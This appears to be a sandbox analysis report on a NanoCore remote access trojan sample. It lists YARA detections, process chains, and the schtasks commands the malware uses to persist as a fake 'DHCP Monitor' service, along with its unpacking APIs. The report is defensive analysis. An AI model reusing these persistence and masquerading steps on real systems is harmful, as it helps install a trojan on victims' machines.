Source: 00000004.00000002.567450851.00000000056F0000.00000004.00020000.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000004.00000002.567450851.00000000056F0000.00000004.00020000.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000004.00000002.564355540.0000000003F39000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000D.00000002.357888329.0000000003839000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000D.00000002.357888329.0000000003839000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000D.00000002.357475448.00000000028AA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000D.00000002.357475448.00000000028AA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000C.00000002.353412885.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000C.00000002.353412885.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000A.00000003.336697270.00000000040EA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000A.00000003.336697270.00000000040EA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000000.00000003.304968970.0000000003F59000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000000.00000003.304968970.0000000003F59000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000009.00000002.338337691.000000000263C000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000009.00000002.338337691.000000000263C000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000004.00000002.567502998.0000000005860000.00000004.00020000.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000004.00000002.567502998.0000000005860000.00000004.00020000.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0000000C.00000002.354909333.0000000004199000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000E.00000002.358914418.0000000002EB1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000009.00000002.338511027.00000000035B9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000009.00000002.338511027.00000000035B9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000F.00000002.377395934.0000000002CA1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000C.00000002.354775896.0000000003191000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: FYrMKmDjFi.exe PID: 6504, type: MEMORYSTR	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: Process Memory Space: FYrMKmDjFi.exe PID: 6504, type: MEMORYSTR	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: FYrMKmDjFi.exe PID: 4324, type: MEMORYSTR	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: Process Memory Space: FYrMKmDjFi.exe PID: 4324, type: MEMORYSTR	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: FYrMKmDjFi.exe PID: 6112, type: MEMORYSTR	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: Process Memory Space: FYrMKmDjFi.exe PID: 6112, type: MEMORYSTR	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: dhcpmon.exe PID: 6664, type: MEMORYSTR	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: Process Memory Space: dhcpmon.exe PID: 6664, type: MEMORYSTR	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: FYrMKmDjFi.exe PID: 6816, type: MEMORYSTR	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: Process Memory Space: FYrMKmDjFi.exe PID: 6816, type: MEMORYSTR	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: dhcpmon.exe PID: 6916, type: MEMORYSTR	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: Process Memory Space: dhcpmon.exe PID: 6916, type: MEMORYSTR	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: dhcpmon.exe PID: 4700, type: MEMORYSTR	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: Process Memory Space: dhcpmon.exe PID: 4700, type: MEMORYSTR	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: dhcpmon.exe PID: 5656, type: MEMORYSTR	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: Process Memory Space: dhcpmon.exe PID: 5656, type: MEMORYSTR	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore

Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Code function: 0_2_008B2050
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Code function: 0_2_01367824
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Code function: 4_2_00BC2050
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Code function: 4_2_0539E471
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Code function: 4_2_0539E480
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Code function: 4_2_0539BBD4
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Code function: 9_2_00092050
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Code function: 9_2_007F7824
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Code function: 10_2_00AC2050
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Code function: 10_2_011E7802
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Code function: 12_2_00D82050
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Code function: 12_2_0567FB00
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Code function: 12_2_0567E471
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Code function: 12_2_0567E480
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Code function: 12_2_0567BBD4
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Code function: 13_2_00262050
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Code function: 13_2_00CA7802
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Code function: 14_2_00BF2050
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Code function: 14_2_02D8E480
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Code function: 14_2_02D8E471
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Code function: 14_2_02D8BBD4

Source: FYrMKmDjFi.exe	Binary or memory string: OriginalFilename vs FYrMKmDjFi.exe
Source: FYrMKmDjFi.exe, 00000000.00000000.288488533.00000000008B2000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameConsoleApp7.exe0 vs FYrMKmDjFi.exe
Source: FYrMKmDjFi.exe	Binary or memory string: OriginalFilename vs FYrMKmDjFi.exe
Source: FYrMKmDjFi.exe, 00000004.00000002.559386030.0000000000BC2000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameConsoleApp7.exe0 vs FYrMKmDjFi.exe
Source: FYrMKmDjFi.exe, 00000004.00000002.563611472.0000000002F31000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameClientPlugin.dll4 vs FYrMKmDjFi.exe
Source: FYrMKmDjFi.exe, 00000004.00000002.564355540.0000000003F39000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameLzma#.dll4 vs FYrMKmDjFi.exe
Source: FYrMKmDjFi.exe, 00000004.00000002.564355540.0000000003F39000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameSurveillanceExClientPlugin.dll4 vs FYrMKmDjFi.exe
Source: FYrMKmDjFi.exe	Binary or memory string: OriginalFilename vs FYrMKmDjFi.exe
Source: FYrMKmDjFi.exe, 00000009.00000002.336166544.0000000000092000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameConsoleApp7.exe0 vs FYrMKmDjFi.exe
Source: FYrMKmDjFi.exe, 00000009.00000002.337085459.0000000000819000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs FYrMKmDjFi.exe
Source: FYrMKmDjFi.exe	Binary or memory string: OriginalFilename vs FYrMKmDjFi.exe
Source: FYrMKmDjFi.exe, 0000000C.00000000.334608941.0000000000D82000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameConsoleApp7.exe0 vs FYrMKmDjFi.exe
Source: FYrMKmDjFi.exe, 0000000C.00000002.354909333.0000000004199000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameClientPlugin.dll4 vs FYrMKmDjFi.exe
Source: FYrMKmDjFi.exe, 0000000C.00000002.354909333.0000000004199000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameLzma#.dll4 vs FYrMKmDjFi.exe
Source: FYrMKmDjFi.exe, 0000000C.00000002.354909333.0000000004199000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameSurveillanceExClientPlugin.dll4 vs FYrMKmDjFi.exe
Source: FYrMKmDjFi.exe	Binary or memory string: OriginalFilenameConsoleApp7.exe0 vs FYrMKmDjFi.exe

Source: FYrMKmDjFi.exe

Virustotal: Detection: 23%

Source: C:\Users\user\Desktop\FYrMKmDjFi.exe

File read: C:\Users\user\Desktop\FYrMKmDjFi.exe

Jump to behavior

Source: FYrMKmDjFi.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\FYrMKmDjFi.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\FYrMKmDjFi.exe 'C:\Users\user\Desktop\FYrMKmDjFi.exe'
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process created: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp563.tmp'
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor Task' /xml 'C:\Users\user\AppData\Local\Temp\tmp8B0.tmp'
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe 0
Source: unknown	Process created: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe 'C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe' 0
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process created: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe
Source: unknown	Process created: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe 'C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe'
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process created: C:\Users\user\AppData\Local\Temp\dhcpmon.exe C:\Users\user\AppData\Local\Temp\dhcpmon.exe
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process created: C:\Users\user\AppData\Local\Temp\dhcpmon.exe C:\Users\user\AppData\Local\Temp\dhcpmon.exe
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Process created: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp563.tmp'
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor Task' /xml 'C:\Users\user\AppData\Local\Temp\tmp8B0.tmp'
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Process created: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process created: C:\Users\user\AppData\Local\Temp\dhcpmon.exe C:\Users\user\AppData\Local\Temp\dhcpmon.exe
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process created: C:\Users\user\AppData\Local\Temp\dhcpmon.exe C:\Users\user\AppData\Local\Temp\dhcpmon.exe

Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32

Source: C:\Users\user\Desktop\FYrMKmDjFi.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FYrMKmDjFi.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\FYrMKmDjFi.exe

File created: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@18/12@11/3

Source: 4.2.FYrMKmDjFi.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 4.2.FYrMKmDjFi.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 12.2.FYrMKmDjFi.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 12.2.FYrMKmDjFi.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)

Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\dhcpmon.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7120:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6620:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{9845a945-f2ff-4e93-b909-aece664ddb48}

Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe

File created: C:\Program Files (x86)\DHCP Monitor

Jump to behavior

Source: FYrMKmDjFi.exe, Godlike.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: FYrMKmDjFi.exe.0.dr, Godlike.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.0.FYrMKmDjFi.exe.8b0000.0.unpack, Godlike.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.2.FYrMKmDjFi.exe.8b0000.0.unpack, Godlike.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 4.2.FYrMKmDjFi.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 4.2.FYrMKmDjFi.exe.400000.0.unpack, u0023u003dqVxXNKnhAcArgJoGGYXiyyQu003du003d.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.FYrMKmDjFi.exe.400000.0.unpack, u0023u003dqVxXNKnhAcArgJoGGYXiyyQu003du003d.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\FYrMKmDjFi.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Users\user\Desktop\FYrMKmDjFi.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: FYrMKmDjFi.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: FYrMKmDjFi.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: FYrMKmDjFi.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

Source: FYrMKmDjFi.exe, Godlike.cs	.Net Code: get_assembly System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: FYrMKmDjFi.exe.0.dr, Godlike.cs	.Net Code: get_assembly System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 0.0.FYrMKmDjFi.exe.8b0000.0.unpack, Godlike.cs	.Net Code: get_assembly System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 0.2.FYrMKmDjFi.exe.8b0000.0.unpack, Godlike.cs	.Net Code: get_assembly System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 4.2.FYrMKmDjFi.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	.Net Code: #=q_FL69pQf17BUSAFbWYu1SStMAbdu$R1GJ8VY8UL5_EA= System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
